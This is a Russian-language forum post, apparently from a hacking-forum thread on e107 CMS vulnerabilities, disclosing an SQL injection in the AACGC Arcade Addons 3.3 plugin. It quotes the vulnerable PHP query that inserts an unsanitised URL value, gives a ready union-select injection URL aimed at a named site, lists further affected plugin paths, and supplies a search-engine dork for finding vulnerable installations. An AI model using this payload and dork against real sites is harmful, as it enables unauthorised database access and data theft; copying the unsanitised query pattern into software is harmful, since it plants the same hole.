[ Обзор уязвимостей e107 cms ]

#11

10.12.2010, 23:59

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

AACGC Arcade Addons V3.3

SQL Injection:

/Category.php

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if ([/COLOR][COLOR="#0000BB"]e_QUERY[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]e_QUERY[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$sub_action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]];

        unset([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]);}

...

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]mySQLresult[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MPREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"arcade_categories WHERE cat_id =[/COLOR][COLOR="#0000BB"]$sub_action[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

...[/COLOR][/COLOR]

Пример:

Код:

http://e107games.net/e107_plugins/aacgc_arcade_addins/Category.php?det.-1%20union%20select%201,2,3,4,5,6--

Путь:

http://e107/e107_plugins/aacgc_arcade_addins/Alternate_Arcade_Main_menu.php

http://e107/e107_plugins/aacgc_arcade_addins/Arcade_Champ_menu.php

http://e107/e107_plugins/aacgc_arcade_addins/Arcade_Favorites_menu.php

http://e107/e107_plugins/aacgc_arcade_addins/Challenge_Champ_menu.php

etc...

Дорк:inurl:e107_plugins/aacgc_arcade_addins/

Если боян - извиняйте.